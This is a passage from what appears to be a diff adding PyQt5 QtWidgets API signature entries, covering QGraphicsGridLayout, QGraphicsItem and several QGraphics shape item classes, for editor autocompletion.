+QtWidgets.QGraphicsGridLayout.rowSpacing?4(int) -> float +QtWidgets.QGraphicsGridLayout.setColumnSpacing?4(int, float) +QtWidgets.QGraphicsGridLayout.columnSpacing?4(int) -> float +QtWidgets.QGraphicsGridLayout.setRowStretchFactor?4(int, int) +QtWidgets.QGraphicsGridLayout.rowStretchFactor?4(int) -> int +QtWidgets.QGraphicsGridLayout.setColumnStretchFactor?4(int, int) +QtWidgets.QGraphicsGridLayout.columnStretchFactor?4(int) -> int +QtWidgets.QGraphicsGridLayout.setRowMinimumHeight?4(int, float) +QtWidgets.QGraphicsGridLayout.rowMinimumHeight?4(int) -> float +QtWidgets.QGraphicsGridLayout.setRowPreferredHeight?4(int, float) +QtWidgets.QGraphicsGridLayout.rowPreferredHeight?4(int) -> float +QtWidgets.QGraphicsGridLayout.setRowMaximumHeight?4(int, float) +QtWidgets.QGraphicsGridLayout.rowMaximumHeight?4(int) -> float +QtWidgets.QGraphicsGridLayout.setRowFixedHeight?4(int, float) +QtWidgets.QGraphicsGridLayout.setColumnMinimumWidth?4(int, float) +QtWidgets.QGraphicsGridLayout.columnMinimumWidth?4(int) -> float +QtWidgets.QGraphicsGridLayout.setColumnPreferredWidth?4(int, float) +QtWidgets.QGraphicsGridLayout.columnPreferredWidth?4(int) -> float +QtWidgets.QGraphicsGridLayout.setColumnMaximumWidth?4(int, float) +QtWidgets.QGraphicsGridLayout.columnMaximumWidth?4(int) -> float +QtWidgets.QGraphicsGridLayout.setColumnFixedWidth?4(int, float) +QtWidgets.QGraphicsGridLayout.setRowAlignment?4(int, Qt.Alignment) +QtWidgets.QGraphicsGridLayout.rowAlignment?4(int) -> Qt.Alignment +QtWidgets.QGraphicsGridLayout.setColumnAlignment?4(int, Qt.Alignment) +QtWidgets.QGraphicsGridLayout.columnAlignment?4(int) -> Qt.Alignment +QtWidgets.QGraphicsGridLayout.setAlignment?4(QGraphicsLayoutItem, Qt.Alignment) +QtWidgets.QGraphicsGridLayout.alignment?4(QGraphicsLayoutItem) -> Qt.Alignment +QtWidgets.QGraphicsGridLayout.rowCount?4() -> int +QtWidgets.QGraphicsGridLayout.columnCount?4() -> int +QtWidgets.QGraphicsGridLayout.itemAt?4(int, int) -> QGraphicsLayoutItem +QtWidgets.QGraphicsGridLayout.count?4() -> int +QtWidgets.QGraphicsGridLayout.itemAt?4(int) -> QGraphicsLayoutItem +QtWidgets.QGraphicsGridLayout.removeAt?4(int) +QtWidgets.QGraphicsGridLayout.invalidate?4() +QtWidgets.QGraphicsGridLayout.setGeometry?4(QRectF) +QtWidgets.QGraphicsGridLayout.sizeHint?4(Qt.SizeHint, QSizeF constraint=QSizeF()) -> QSizeF +QtWidgets.QGraphicsGridLayout.removeItem?4(QGraphicsLayoutItem) +QtWidgets.QGraphicsItem.PanelModality?10 +QtWidgets.QGraphicsItem.PanelModality.NonModal?10 +QtWidgets.QGraphicsItem.PanelModality.PanelModal?10 +QtWidgets.QGraphicsItem.PanelModality.SceneModal?10 +QtWidgets.QGraphicsItem.GraphicsItemFlag?10 +QtWidgets.QGraphicsItem.GraphicsItemFlag.ItemIsMovable?10 +QtWidgets.QGraphicsItem.GraphicsItemFlag.ItemIsSelectable?10 +QtWidgets.QGraphicsItem.GraphicsItemFlag.ItemIsFocusable?10 +QtWidgets.QGraphicsItem.GraphicsItemFlag.ItemClipsToShape?10 +QtWidgets.QGraphicsItem.GraphicsItemFlag.ItemClipsChildrenToShape?10 +QtWidgets.QGraphicsItem.GraphicsItemFlag.ItemIgnoresTransformations?10 +QtWidgets.QGraphicsItem.GraphicsItemFlag.ItemIgnoresParentOpacity?10 +QtWidgets.QGraphicsItem.GraphicsItemFlag.ItemDoesntPropagateOpacityToChildren?10 +QtWidgets.QGraphicsItem.GraphicsItemFlag.ItemStacksBehindParent?10 +QtWidgets.QGraphicsItem.GraphicsItemFlag.ItemUsesExtendedStyleOption?10 +QtWidgets.QGraphicsItem.GraphicsItemFlag.ItemHasNoContents?10 +QtWidgets.QGraphicsItem.GraphicsItemFlag.ItemSendsGeometryChanges?10 +QtWidgets.QGraphicsItem.GraphicsItemFlag.ItemAcceptsInputMethod?10 +QtWidgets.QGraphicsItem.GraphicsItemFlag.ItemNegativeZStacksBehindParent?10 +QtWidgets.QGraphicsItem.GraphicsItemFlag.ItemIsPanel?10 +QtWidgets.QGraphicsItem.GraphicsItemFlag.ItemSendsScenePositionChanges?10 +QtWidgets.QGraphicsItem.GraphicsItemFlag.ItemContainsChildrenInShape?10 +QtWidgets.QGraphicsItem.GraphicsItemChange?10 +QtWidgets.QGraphicsItem.GraphicsItemChange.ItemPositionChange?10 +QtWidgets.QGraphicsItem.GraphicsItemChange.ItemMatrixChange?10 +QtWidgets.QGraphicsItem.GraphicsItemChange.ItemVisibleChange?10 +QtWidgets.QGraphicsItem.GraphicsItemChange.ItemEnabledChange?10 +QtWidgets.QGraphicsItem.GraphicsItemChange.ItemSelectedChange?10 +QtWidgets.QGraphicsItem.GraphicsItemChange.ItemParentChange?10 +QtWidgets.QGraphicsItem.GraphicsItemChange.ItemChildAddedChange?10 +QtWidgets.QGraphicsItem.GraphicsItemChange.ItemChildRemovedChange?10 +QtWidgets.QGraphicsItem.GraphicsItemChange.ItemTransformChange?10 +QtWidgets.QGraphicsItem.GraphicsItemChange.ItemPositionHasChanged?10 +QtWidgets.QGraphicsItem.GraphicsItemChange.ItemTransformHasChanged?10 +QtWidgets.QGraphicsItem.GraphicsItemChange.ItemSceneChange?10 +QtWidgets.QGraphicsItem.GraphicsItemChange.ItemVisibleHasChanged?10 +QtWidgets.QGraphicsItem.GraphicsItemChange.ItemEnabledHasChanged?10 +QtWidgets.QGraphicsItem.GraphicsItemChange.ItemSelectedHasChanged?10 +QtWidgets.QGraphicsItem.GraphicsItemChange.ItemParentHasChanged?10 +QtWidgets.QGraphicsItem.GraphicsItemChange.ItemSceneHasChanged?10 +QtWidgets.QGraphicsItem.GraphicsItemChange.ItemCursorChange?10 +QtWidgets.QGraphicsItem.GraphicsItemChange.ItemCursorHasChanged?10 +QtWidgets.QGraphicsItem.GraphicsItemChange.ItemToolTipChange?10 +QtWidgets.QGraphicsItem.GraphicsItemChange.ItemToolTipHasChanged?10 +QtWidgets.QGraphicsItem.GraphicsItemChange.ItemFlagsChange?10 +QtWidgets.QGraphicsItem.GraphicsItemChange.ItemFlagsHaveChanged?10 +QtWidgets.QGraphicsItem.GraphicsItemChange.ItemZValueChange?10 +QtWidgets.QGraphicsItem.GraphicsItemChange.ItemZValueHasChanged?10 +QtWidgets.QGraphicsItem.GraphicsItemChange.ItemOpacityChange?10 +QtWidgets.QGraphicsItem.GraphicsItemChange.ItemOpacityHasChanged?10 +QtWidgets.QGraphicsItem.GraphicsItemChange.ItemScenePositionHasChanged?10 +QtWidgets.QGraphicsItem.GraphicsItemChange.ItemRotationChange?10 +QtWidgets.QGraphicsItem.GraphicsItemChange.ItemRotationHasChanged?10 +QtWidgets.QGraphicsItem.GraphicsItemChange.ItemScaleChange?10 +QtWidgets.QGraphicsItem.GraphicsItemChange.ItemScaleHasChanged?10 +QtWidgets.QGraphicsItem.GraphicsItemChange.ItemTransformOriginPointChange?10 +QtWidgets.QGraphicsItem.GraphicsItemChange.ItemTransformOriginPointHasChanged?10 +QtWidgets.QGraphicsItem.CacheMode?10 +QtWidgets.QGraphicsItem.CacheMode.NoCache?10 +QtWidgets.QGraphicsItem.CacheMode.ItemCoordinateCache?10 +QtWidgets.QGraphicsItem.CacheMode.DeviceCoordinateCache?10 +QtWidgets.QGraphicsItem.Type?7 +QtWidgets.QGraphicsItem.UserType?7 +QtWidgets.QGraphicsItem?1(QGraphicsItem parent=None) +QtWidgets.QGraphicsItem.__init__?1(self, QGraphicsItem parent=None) +QtWidgets.QGraphicsItem.scene?4() -> QGraphicsScene +QtWidgets.QGraphicsItem.parentItem?4() -> QGraphicsItem +QtWidgets.QGraphicsItem.topLevelItem?4() -> QGraphicsItem +QtWidgets.QGraphicsItem.setParentItem?4(QGraphicsItem) +QtWidgets.QGraphicsItem.group?4() -> QGraphicsItemGroup +QtWidgets.QGraphicsItem.setGroup?4(QGraphicsItemGroup) +QtWidgets.QGraphicsItem.flags?4() -> QGraphicsItem.GraphicsItemFlags +QtWidgets.QGraphicsItem.setFlag?4(QGraphicsItem.GraphicsItemFlag, bool enabled=True) +QtWidgets.QGraphicsItem.setFlags?4(QGraphicsItem.GraphicsItemFlags) +QtWidgets.QGraphicsItem.toolTip?4() -> QString +QtWidgets.QGraphicsItem.setToolTip?4(QString) +QtWidgets.QGraphicsItem.cursor?4() -> QCursor +QtWidgets.QGraphicsItem.setCursor?4(QCursor) +QtWidgets.QGraphicsItem.hasCursor?4() -> bool +QtWidgets.QGraphicsItem.unsetCursor?4() +QtWidgets.QGraphicsItem.isVisible?4() -> bool +QtWidgets.QGraphicsItem.setVisible?4(bool) +QtWidgets.QGraphicsItem.hide?4() +QtWidgets.QGraphicsItem.show?4() +QtWidgets.QGraphicsItem.isEnabled?4() -> bool +QtWidgets.QGraphicsItem.setEnabled?4(bool) +QtWidgets.QGraphicsItem.isSelected?4() -> bool +QtWidgets.QGraphicsItem.setSelected?4(bool) +QtWidgets.QGraphicsItem.acceptDrops?4() -> bool +QtWidgets.QGraphicsItem.setAcceptDrops?4(bool) +QtWidgets.QGraphicsItem.acceptedMouseButtons?4() -> Qt.MouseButtons +QtWidgets.QGraphicsItem.setAcceptedMouseButtons?4(Qt.MouseButtons) +QtWidgets.QGraphicsItem.hasFocus?4() -> bool +QtWidgets.QGraphicsItem.setFocus?4(Qt.FocusReason focusReason=Qt.OtherFocusReason) +QtWidgets.QGraphicsItem.clearFocus?4() +QtWidgets.QGraphicsItem.pos?4() -> QPointF +QtWidgets.QGraphicsItem.x?4() -> float +QtWidgets.QGraphicsItem.y?4() -> float +QtWidgets.QGraphicsItem.scenePos?4() -> QPointF +QtWidgets.QGraphicsItem.setPos?4(QPointF) +QtWidgets.QGraphicsItem.moveBy?4(float, float) +QtWidgets.QGraphicsItem.ensureVisible?4(QRectF rect=QRectF(), int xMargin=50, int yMargin=50) +QtWidgets.QGraphicsItem.advance?4(int) +QtWidgets.QGraphicsItem.zValue?4() -> float +QtWidgets.QGraphicsItem.setZValue?4(float) +QtWidgets.QGraphicsItem.boundingRect?4() -> QRectF +QtWidgets.QGraphicsItem.childrenBoundingRect?4() -> QRectF +QtWidgets.QGraphicsItem.sceneBoundingRect?4() -> QRectF +QtWidgets.QGraphicsItem.shape?4() -> QPainterPath +QtWidgets.QGraphicsItem.contains?4(QPointF) -> bool +QtWidgets.QGraphicsItem.collidesWithItem?4(QGraphicsItem, Qt.ItemSelectionMode mode=Qt.IntersectsItemShape) -> bool +QtWidgets.QGraphicsItem.collidesWithPath?4(QPainterPath, Qt.ItemSelectionMode mode=Qt.IntersectsItemShape) -> bool +QtWidgets.QGraphicsItem.collidingItems?4(Qt.ItemSelectionMode mode=Qt.IntersectsItemShape) -> unknown-type +QtWidgets.QGraphicsItem.isObscuredBy?4(QGraphicsItem) -> bool +QtWidgets.QGraphicsItem.opaqueArea?4() -> QPainterPath +QtWidgets.QGraphicsItem.paint?4(QPainter, QStyleOptionGraphicsItem, QWidget widget=None) +QtWidgets.QGraphicsItem.update?4(QRectF rect=QRectF()) +QtWidgets.QGraphicsItem.mapToItem?4(QGraphicsItem, QPointF) -> QPointF +QtWidgets.QGraphicsItem.mapToParent?4(QPointF) -> QPointF +QtWidgets.QGraphicsItem.mapToScene?4(QPointF) -> QPointF +QtWidgets.QGraphicsItem.mapToItem?4(QGraphicsItem, QRectF) -> QPolygonF +QtWidgets.QGraphicsItem.mapToParent?4(QRectF) -> QPolygonF +QtWidgets.QGraphicsItem.mapToScene?4(QRectF) -> QPolygonF +QtWidgets.QGraphicsItem.mapToItem?4(QGraphicsItem, QPolygonF) -> QPolygonF +QtWidgets.QGraphicsItem.mapToParent?4(QPolygonF) -> QPolygonF +QtWidgets.QGraphicsItem.mapToScene?4(QPolygonF) -> QPolygonF +QtWidgets.QGraphicsItem.mapToItem?4(QGraphicsItem, QPainterPath) -> QPainterPath +QtWidgets.QGraphicsItem.mapToParent?4(QPainterPath) -> QPainterPath +QtWidgets.QGraphicsItem.mapToScene?4(QPainterPath) -> QPainterPath +QtWidgets.QGraphicsItem.mapFromItem?4(QGraphicsItem, QPointF) -> QPointF +QtWidgets.QGraphicsItem.mapFromParent?4(QPointF) -> QPointF +QtWidgets.QGraphicsItem.mapFromScene?4(QPointF) -> QPointF +QtWidgets.QGraphicsItem.mapFromItem?4(QGraphicsItem, QRectF) -> QPolygonF +QtWidgets.QGraphicsItem.mapFromParent?4(QRectF) -> QPolygonF +QtWidgets.QGraphicsItem.mapFromScene?4(QRectF) -> QPolygonF +QtWidgets.QGraphicsItem.mapFromItem?4(QGraphicsItem, QPolygonF) -> QPolygonF +QtWidgets.QGraphicsItem.mapFromParent?4(QPolygonF) -> QPolygonF +QtWidgets.QGraphicsItem.mapFromScene?4(QPolygonF) -> QPolygonF +QtWidgets.QGraphicsItem.mapFromItem?4(QGraphicsItem, QPainterPath) -> QPainterPath +QtWidgets.QGraphicsItem.mapFromParent?4(QPainterPath) -> QPainterPath +QtWidgets.QGraphicsItem.mapFromScene?4(QPainterPath) -> QPainterPath +QtWidgets.QGraphicsItem.isAncestorOf?4(QGraphicsItem) -> bool +QtWidgets.QGraphicsItem.data?4(int) -> QVariant +QtWidgets.QGraphicsItem.setData?4(int, QVariant) +QtWidgets.QGraphicsItem.type?4() -> int +QtWidgets.QGraphicsItem.installSceneEventFilter?4(QGraphicsItem) +QtWidgets.QGraphicsItem.removeSceneEventFilter?4(QGraphicsItem) +QtWidgets.QGraphicsItem.contextMenuEvent?4(QGraphicsSceneContextMenuEvent) +QtWidgets.QGraphicsItem.dragEnterEvent?4(QGraphicsSceneDragDropEvent) +QtWidgets.QGraphicsItem.dragLeaveEvent?4(QGraphicsSceneDragDropEvent) +QtWidgets.QGraphicsItem.dragMoveEvent?4(QGraphicsSceneDragDropEvent) +QtWidgets.QGraphicsItem.dropEvent?4(QGraphicsSceneDragDropEvent) +QtWidgets.QGraphicsItem.focusInEvent?4(QFocusEvent) +QtWidgets.QGraphicsItem.focusOutEvent?4(QFocusEvent) +QtWidgets.QGraphicsItem.hoverEnterEvent?4(QGraphicsSceneHoverEvent) +QtWidgets.QGraphicsItem.hoverLeaveEvent?4(QGraphicsSceneHoverEvent) +QtWidgets.QGraphicsItem.hoverMoveEvent?4(QGraphicsSceneHoverEvent) +QtWidgets.QGraphicsItem.inputMethodEvent?4(QInputMethodEvent) +QtWidgets.QGraphicsItem.inputMethodQuery?4(Qt.InputMethodQuery) -> QVariant +QtWidgets.QGraphicsItem.itemChange?4(QGraphicsItem.GraphicsItemChange, QVariant) -> QVariant +QtWidgets.QGraphicsItem.keyPressEvent?4(QKeyEvent) +QtWidgets.QGraphicsItem.keyReleaseEvent?4(QKeyEvent) +QtWidgets.QGraphicsItem.mouseDoubleClickEvent?4(QGraphicsSceneMouseEvent) +QtWidgets.QGraphicsItem.mouseMoveEvent?4(QGraphicsSceneMouseEvent) +QtWidgets.QGraphicsItem.mousePressEvent?4(QGraphicsSceneMouseEvent) +QtWidgets.QGraphicsItem.mouseReleaseEvent?4(QGraphicsSceneMouseEvent) +QtWidgets.QGraphicsItem.prepareGeometryChange?4() +QtWidgets.QGraphicsItem.sceneEvent?4(QEvent) -> bool +QtWidgets.QGraphicsItem.sceneEventFilter?4(QGraphicsItem, QEvent) -> bool +QtWidgets.QGraphicsItem.wheelEvent?4(QGraphicsSceneWheelEvent) +QtWidgets.QGraphicsItem.setPos?4(float, float) +QtWidgets.QGraphicsItem.ensureVisible?4(float, float, float, float, int xMargin=50, int yMargin=50) +QtWidgets.QGraphicsItem.update?4(float, float, float, float) +QtWidgets.QGraphicsItem.mapToItem?4(QGraphicsItem, float, float) -> QPointF +QtWidgets.QGraphicsItem.mapToParent?4(float, float) -> QPointF +QtWidgets.QGraphicsItem.mapToScene?4(float, float) -> QPointF +QtWidgets.QGraphicsItem.mapFromItem?4(QGraphicsItem, float, float) -> QPointF +QtWidgets.QGraphicsItem.mapFromParent?4(float, float) -> QPointF +QtWidgets.QGraphicsItem.mapFromScene?4(float, float) -> QPointF +QtWidgets.QGraphicsItem.transform?4() -> QTransform +QtWidgets.QGraphicsItem.sceneTransform?4() -> QTransform +QtWidgets.QGraphicsItem.deviceTransform?4(QTransform) -> QTransform +QtWidgets.QGraphicsItem.setTransform?4(QTransform, bool combine=False) +QtWidgets.QGraphicsItem.resetTransform?4() +QtWidgets.QGraphicsItem.isObscured?4(QRectF rect=QRectF()) -> bool +QtWidgets.QGraphicsItem.isObscured?4(float, float, float, float) -> bool +QtWidgets.QGraphicsItem.mapToItem?4(QGraphicsItem, float, float, float, float) -> QPolygonF +QtWidgets.QGraphicsItem.mapToParent?4(float, float, float, float) -> QPolygonF +QtWidgets.QGraphicsItem.mapToScene?4(float, float, float, float) -> QPolygonF +QtWidgets.QGraphicsItem.mapFromItem?4(QGraphicsItem, float, float, float, float) -> QPolygonF +QtWidgets.QGraphicsItem.mapFromParent?4(float, float, float, float) -> QPolygonF +QtWidgets.QGraphicsItem.mapFromScene?4(float, float, float, float) -> QPolygonF +QtWidgets.QGraphicsItem.parentWidget?4() -> QGraphicsWidget +QtWidgets.QGraphicsItem.topLevelWidget?4() -> QGraphicsWidget +QtWidgets.QGraphicsItem.window?4() -> QGraphicsWidget +QtWidgets.QGraphicsItem.childItems?4() -> unknown-type +QtWidgets.QGraphicsItem.isWidget?4() -> bool +QtWidgets.QGraphicsItem.isWindow?4() -> bool +QtWidgets.QGraphicsItem.cacheMode?4() -> QGraphicsItem.CacheMode +QtWidgets.QGraphicsItem.setCacheMode?4(QGraphicsItem.CacheMode, QSize logicalCacheSize=QSize()) +QtWidgets.QGraphicsItem.isVisibleTo?4(QGraphicsItem) -> bool +QtWidgets.QGraphicsItem.acceptHoverEvents?4() -> bool +QtWidgets.QGraphicsItem.setAcceptHoverEvents?4(bool) +QtWidgets.QGraphicsItem.grabMouse?4() +QtWidgets.QGraphicsItem.ungrabMouse?4() +QtWidgets.QGraphicsItem.grabKeyboard?4() +QtWidgets.QGraphicsItem.ungrabKeyboard?4() +QtWidgets.QGraphicsItem.boundingRegion?4(QTransform) -> QRegion +QtWidgets.QGraphicsItem.boundingRegionGranularity?4() -> float +QtWidgets.QGraphicsItem.setBoundingRegionGranularity?4(float) +QtWidgets.QGraphicsItem.scroll?4(float, float, QRectF rect=QRectF()) +QtWidgets.QGraphicsItem.commonAncestorItem?4(QGraphicsItem) -> QGraphicsItem +QtWidgets.QGraphicsItem.isUnderMouse?4() -> bool +QtWidgets.QGraphicsItem.opacity?4() -> float +QtWidgets.QGraphicsItem.effectiveOpacity?4() -> float +QtWidgets.QGraphicsItem.setOpacity?4(float) +QtWidgets.QGraphicsItem.itemTransform?4(QGraphicsItem) -> (QTransform, bool) +QtWidgets.QGraphicsItem.isClipped?4() -> bool +QtWidgets.QGraphicsItem.clipPath?4() -> QPainterPath +QtWidgets.QGraphicsItem.mapRectToItem?4(QGraphicsItem, QRectF) -> QRectF +QtWidgets.QGraphicsItem.mapRectToParent?4(QRectF) -> QRectF +QtWidgets.QGraphicsItem.mapRectToScene?4(QRectF) -> QRectF +QtWidgets.QGraphicsItem.mapRectFromItem?4(QGraphicsItem, QRectF) -> QRectF +QtWidgets.QGraphicsItem.mapRectFromParent?4(QRectF) -> QRectF +QtWidgets.QGraphicsItem.mapRectFromScene?4(QRectF) -> QRectF +QtWidgets.QGraphicsItem.mapRectToItem?4(QGraphicsItem, float, float, float, float) -> QRectF +QtWidgets.QGraphicsItem.mapRectToParent?4(float, float, float, float) -> QRectF +QtWidgets.QGraphicsItem.mapRectToScene?4(float, float, float, float) -> QRectF +QtWidgets.QGraphicsItem.mapRectFromItem?4(QGraphicsItem, float, float, float, float) -> QRectF +QtWidgets.QGraphicsItem.mapRectFromParent?4(float, float, float, float) -> QRectF +QtWidgets.QGraphicsItem.mapRectFromScene?4(float, float, float, float) -> QRectF +QtWidgets.QGraphicsItem.parentObject?4() -> QGraphicsObject +QtWidgets.QGraphicsItem.panel?4() -> QGraphicsItem +QtWidgets.QGraphicsItem.isPanel?4() -> bool +QtWidgets.QGraphicsItem.toGraphicsObject?4() -> QGraphicsObject +QtWidgets.QGraphicsItem.panelModality?4() -> QGraphicsItem.PanelModality +QtWidgets.QGraphicsItem.setPanelModality?4(QGraphicsItem.PanelModality) +QtWidgets.QGraphicsItem.isBlockedByModalPanel?4() -> (bool, QGraphicsItem) +QtWidgets.QGraphicsItem.graphicsEffect?4() -> QGraphicsEffect +QtWidgets.QGraphicsItem.setGraphicsEffect?4(QGraphicsEffect) +QtWidgets.QGraphicsItem.acceptTouchEvents?4() -> bool +QtWidgets.QGraphicsItem.setAcceptTouchEvents?4(bool) +QtWidgets.QGraphicsItem.filtersChildEvents?4() -> bool +QtWidgets.QGraphicsItem.setFiltersChildEvents?4(bool) +QtWidgets.QGraphicsItem.isActive?4() -> bool +QtWidgets.QGraphicsItem.setActive?4(bool) +QtWidgets.QGraphicsItem.focusProxy?4() -> QGraphicsItem +QtWidgets.QGraphicsItem.setFocusProxy?4(QGraphicsItem) +QtWidgets.QGraphicsItem.focusItem?4() -> QGraphicsItem +QtWidgets.QGraphicsItem.setX?4(float) +QtWidgets.QGraphicsItem.setY?4(float) +QtWidgets.QGraphicsItem.setRotation?4(float) +QtWidgets.QGraphicsItem.rotation?4() -> float +QtWidgets.QGraphicsItem.setScale?4(float) +QtWidgets.QGraphicsItem.scale?4() -> float +QtWidgets.QGraphicsItem.transformations?4() -> unknown-type +QtWidgets.QGraphicsItem.setTransformations?4(unknown-type) +QtWidgets.QGraphicsItem.transformOriginPoint?4() -> QPointF +QtWidgets.QGraphicsItem.setTransformOriginPoint?4(QPointF) +QtWidgets.QGraphicsItem.setTransformOriginPoint?4(float, float) +QtWidgets.QGraphicsItem.stackBefore?4(QGraphicsItem) +QtWidgets.QGraphicsItem.inputMethodHints?4() -> Qt.InputMethodHints +QtWidgets.QGraphicsItem.setInputMethodHints?4(Qt.InputMethodHints) +QtWidgets.QGraphicsItem.updateMicroFocus?4() +QtWidgets.QGraphicsItem.GraphicsItemFlags?1() +QtWidgets.QGraphicsItem.GraphicsItemFlags.__init__?1(self) +QtWidgets.QGraphicsItem.GraphicsItemFlags?1(int) +QtWidgets.QGraphicsItem.GraphicsItemFlags.__init__?1(self, int) +QtWidgets.QGraphicsItem.GraphicsItemFlags?1(QGraphicsItem.GraphicsItemFlags) +QtWidgets.QGraphicsItem.GraphicsItemFlags.__init__?1(self, QGraphicsItem.GraphicsItemFlags) +QtWidgets.QAbstractGraphicsShapeItem?1(QGraphicsItem parent=None) +QtWidgets.QAbstractGraphicsShapeItem.__init__?1(self, QGraphicsItem parent=None) +QtWidgets.QAbstractGraphicsShapeItem.pen?4() -> QPen +QtWidgets.QAbstractGraphicsShapeItem.setPen?4(QPen) +QtWidgets.QAbstractGraphicsShapeItem.brush?4() -> QBrush +QtWidgets.QAbstractGraphicsShapeItem.setBrush?4(QBrush) +QtWidgets.QAbstractGraphicsShapeItem.isObscuredBy?4(QGraphicsItem) -> bool +QtWidgets.QAbstractGraphicsShapeItem.opaqueArea?4() -> QPainterPath +QtWidgets.QGraphicsPathItem?1(QGraphicsItem parent=None) +QtWidgets.QGraphicsPathItem.__init__?1(self, QGraphicsItem parent=None) +QtWidgets.QGraphicsPathItem?1(QPainterPath, QGraphicsItem parent=None) +QtWidgets.QGraphicsPathItem.__init__?1(self, QPainterPath, QGraphicsItem parent=None) +QtWidgets.QGraphicsPathItem.path?4() -> QPainterPath +QtWidgets.QGraphicsPathItem.setPath?4(QPainterPath) +QtWidgets.QGraphicsPathItem.boundingRect?4() -> QRectF +QtWidgets.QGraphicsPathItem.shape?4() -> QPainterPath +QtWidgets.QGraphicsPathItem.contains?4(QPointF) -> bool +QtWidgets.QGraphicsPathItem.paint?4(QPainter, QStyleOptionGraphicsItem, QWidget widget=None) +QtWidgets.QGraphicsPathItem.isObscuredBy?4(QGraphicsItem) -> bool +QtWidgets.QGraphicsPathItem.opaqueArea?4() -> QPainterPath +QtWidgets.QGraphicsPathItem.type?4() -> int +QtWidgets.QGraphicsRectItem?1(QGraphicsItem parent=None) +QtWidgets.QGraphicsRectItem.__init__?1(self, QGraphicsItem parent=None) +QtWidgets.QGraphicsRectItem?1(QRectF, QGraphicsItem parent=None) +QtWidgets.QGraphicsRectItem.__init__?1(self, QRectF, QGraphicsItem parent=None) +QtWidgets.QGraphicsRectItem?1(float, float, float, float, QGraphicsItem parent=None) +QtWidgets.QGraphicsRectItem.__init__?1(self, float, float, float, float, QGraphicsItem parent=None) +QtWidgets.QGraphicsRectItem.rect?4() -> QRectF +QtWidgets.QGraphicsRectItem.setRect?4(QRectF) +QtWidgets.QGraphicsRectItem.setRect?4(float, float, float, float) +QtWidgets.QGraphicsRectItem.boundingRect?4() -> QRectF +QtWidgets.QGraphicsRectItem.shape?4() -> QPainterPath +QtWidgets.QGraphicsRectItem.contains?4(QPointF) -> bool +QtWidgets.QGraphicsRectItem.paint?4(QPainter, QStyleOptionGraphicsItem, QWidget widget=None) +QtWidgets.QGraphicsRectItem.isObscuredBy?4(QGraphicsItem) -> bool +QtWidgets.QGraphicsRectItem.opaqueArea?4() -> QPainterPath +QtWidgets.QGraphicsRectItem.type?4() -> int +QtWidgets.QGraphicsEllipseItem?1(QGraphicsItem parent=None) +QtWidgets.QGraphicsEllipseItem.__init__?1(self, QGraphicsItem parent=None) +QtWidgets.QGraphicsEllipseItem?1(QRectF, QGraphicsItem parent=None) +QtWidgets.QGraphicsEllipseItem.__init__?1(self, QRectF, QGraphicsItem parent=None) +QtWidgets.QGraphicsEllipseItem?1(float, float, float, float, QGraphicsItem parent=None) +QtWidgets.QGraphicsEllipseItem.__init__?1(self, float, float, float, float, QGraphicsItem parent=None) +QtWidgets.QGraphicsEllipseItem.rect?4() -> QRectF +QtWidgets.QGraphicsEllipseItem.setRect?4(QRectF) +QtWidgets.QGraphicsEllipseItem.setRect?4(float, float, float, float) +QtWidgets.QGraphicsEllipseItem.startAngle?4() -> int +QtWidgets.QGraphicsEllipseItem.setStartAngle?4(int) +QtWidgets.QGraphicsEllipseItem.spanAngle?4() -> int +QtWidgets.QGraphicsEllipseItem.setSpanAngle?4(int) +QtWidgets.QGraphicsEllipseItem.boundingRect?4() -> QRectF +QtWidgets.QGraphicsEllipseItem.shape?4() -> QPainterPath +QtWidgets.QGraphicsEllipseItem.contains?4(QPointF) -> bool +QtWidgets.QGraphicsEllipseItem.paint?4(QPainter, QStyleOptionGraphicsItem, QWidget widget=None) +QtWidgets.QGraphicsEllipseItem.isObscuredBy?4(QGraphicsItem) -> bool +QtWidgets.QGraphicsEllipseItem.opaqueArea?4() -> QPainterPath +QtWidgets.QGraphicsEllipseItem.type?4() -> int +QtWidgets.QGraphicsPolygonItem?1(QGraphicsItem parent=None) +QtWidgets.QGraphicsPolygonItem.__init__?1(self, QGraphicsItem parent=None) +QtWidgets.QGraphicsPolygonItem?1(QPolygonF, QGraphicsItem parent=None) +QtWidgets.QGraphicsPolygonItem.__init__?1(self, QPolygonF, QGraphicsItem parent=None) +QtWidgets.QGraphicsPolygonItem.polygon?4() -> QPolygonF +QtWidgets.QGraphicsPolygonItem.setPolygon?4(QPolygonF) +QtWidgets.QGraphicsPolygonItem.fillRule?4() -> Qt.FillRule +QtWidgets.QGraphicsPolygonItem.setFillRule?4(Qt.FillRule) +QtWidgets.QGraphicsPolygonItem.boundingRect?4() -> QRectF +QtWidgets.QGraphicsPolygonItem.shape?4() -> QPainterPath +QtWidgets.QGraphicsPolygonItem.contains?4(QPointF) -> bool +QtWidgets.QGraphicsPolygonItem.paint?4(QPainter, QStyleOptionGraphicsItem, QWidget widget=None) +QtWidgets.QGraphicsPolygonItem.isObscuredBy?4(QGraphicsItem) -> bool +QtWidgets.QGraphicsPolygonItem.opaqueArea?4() -> QPainterPath +QtWidgets.QGraphicsPolygonItem.type?4() -> int +QtWidgets.QGraphicsLineItem?1(QGraphicsItem parent=None) +QtWidgets.QGraphicsLineItem.__init__?1(self, QGraphicsItem parent=None) +QtWidgets.QGraphicsLineItem?1(QLineF, QGraphicsItem parent=None) +QtWidgets.QGraphicsLineItem.__init__?1(self, QLineF, QGraphicsItem parent=None) +QtWidgets.QGraphicsLineItem?1(float, float, float, float, QGraphicsItem parent=None) +QtWidgets.QGraphicsLineItem.__init__?1(self, float, float, float, float, QGraphicsItem parent=None) +QtWidgets.QGraphicsLineItem.pen?4() -> QPen +QtWidgets.QGraphicsLineItem.setPen?4(QPen) +QtWidgets.QGraphicsLineItem.line?4() -> QLineF +QtWidgets.QGraphicsLineItem.setLine?4(QLineF) +QtWidgets.QGraphicsLineItem.setLine?4(float, float, float, float) +QtWidgets.QGraphicsLineItem.boundingRect?4() -> QRectF +QtWidgets.QGraphicsLineItem.shape?4() -> QPainterPath +QtWidgets.QGraphicsLineItem.contains?4(QPointF) -> bool +QtWidgets.QGraphicsLineItem.paint?4(QPainter, QStyleOptionGraphicsItem, QWidget widget=None) +QtWidgets.QGraphicsLineItem.isObscuredBy?4(QGraphicsItem) -> bool +QtWidgets.QGraphicsLineItem.opaqueArea?4() -> QPainterPath +QtWidgets.QGraphicsLineItem.type?4() -> int +QtWidgets.QGraphicsPixmapItem.ShapeMode?10 +QtWidgets.QGraphicsPixmapItem.ShapeMode.MaskShape?10 +QtWidgets.QGraphicsPixmapItem.ShapeMode.BoundingRectShape?10 